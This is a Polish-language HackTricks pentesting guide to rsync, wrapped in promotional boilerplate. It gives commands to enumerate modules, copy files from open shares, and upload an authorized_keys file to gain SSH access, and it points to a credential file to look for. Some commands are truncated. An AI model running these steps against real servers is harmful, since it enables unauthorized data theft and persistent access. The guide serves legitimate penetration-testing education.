# 873 - Testowanie penetracyjne Rsync
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## **Podstawowe informacje**
Z [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** to narzędzie do efektywnego [transferu](https://en.wikipedia.org/wiki/File\_transfer) i [synchronizacji](https://en.wikipedia.org/wiki/File\_synchronization) [plików](https://en.wikipedia.org/wiki/Computer\_file) między komputerem a zewnętrznym dyskiem twardym oraz między [komputerami](https://en.wikipedia.org/wiki/Computer) w sieci poprzez porównywanie [czasów modyfikacji](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) i rozmiarów plików.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Jest powszechnie stosowany w systemach operacyjnych typu [Unix-like](https://en.wikipedia.org/wiki/Unix-like). Algorytm rsync to rodzaj [kodowania delta](https://en.wikipedia.org/wiki/Delta\_encoding) i jest używany do minimalizowania użycia sieci. [Zlib](https://en.wikipedia.org/wiki/Zlib) może być używany do dodatkowego [kompresowania danych](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) a [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) lub [stunnel](https://en.wikipedia.org/wiki/Stunnel) mogą być używane do zabezpieczeń.
**Domyślny port:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
### Wyliczanie
#### Baner i komunikacja manualna
Podczas wyliczania usługi rsync, warto rozpocząć od sprawdzenia banera, który może zawierać informacje o wersji i konfiguracji serwera rsync. Można to zrobić, wykonując polecenie:
```bash
nc 873
```
Po nawiązaniu połączenia, można ręcznie komunikować się z serwerem rsync, wysyłając i odbierając polecenia. Przykładowe polecenia, które można użyć to:
```bash
@RSYNCD:
```
```bash
@ERROR:
```
Ta metoda pozwala na ręczne eksplorowanie usługi rsync i uzyskiwanie informacji o jej konfiguracji i funkcjonalnościach.
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Wyszukiwanie udostępnionych folderów**
**Moduły Rsync** są rozpoznawane jako **udostępnione katalogi**, które mogą być **chronione hasłami**. Aby zidentyfikować dostępne moduły i sprawdzić, czy wymagają hasła, używane są następujące polecenia:
```bash
nmap -sV --script "rsync-list-modules" -p
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Bądź świadomy, że niektóre udziały mogą nie pojawić się na liście, co może oznaczać ich ukrycie. Ponadto, dostęp do niektórych udziałów może być ograniczony do określonych **poświadczeń**, co jest sygnalizowane przez komunikat **"Odmowa dostępu"**.
### [**Atak Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Ręczne użycie Rsync
Po uzyskaniu listy **modułów**, działania zależą od tego, czy wymagane jest uwierzytelnienie. Bez uwierzytelnienia, **wylistowanie** i **kopiowanie** plików z udostępnionego folderu do lokalnego katalogu osiąga się poprzez:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Ten proces **rekursywnie przesyła pliki**, zachowując ich atrybuty i uprawnienia.
Z użyciem **poświadczeń**, można wylistować i pobrać pliki z udostępnionego folderu, postępując w następujący sposób, gdzie pojawi się prośba o podanie hasła:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Aby **przesłać zawartość**, taką jak plik _**authorized_keys**_ dla dostępu, użyj:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Aby zlokalizować plik konfiguracyjny rsyncd, wykonaj:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
W tym pliku parametr _secrets file_ może wskazywać na plik zawierający **nazwy użytkowników i hasła** do uwierzytelniania rsyncd.
## Referencje
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.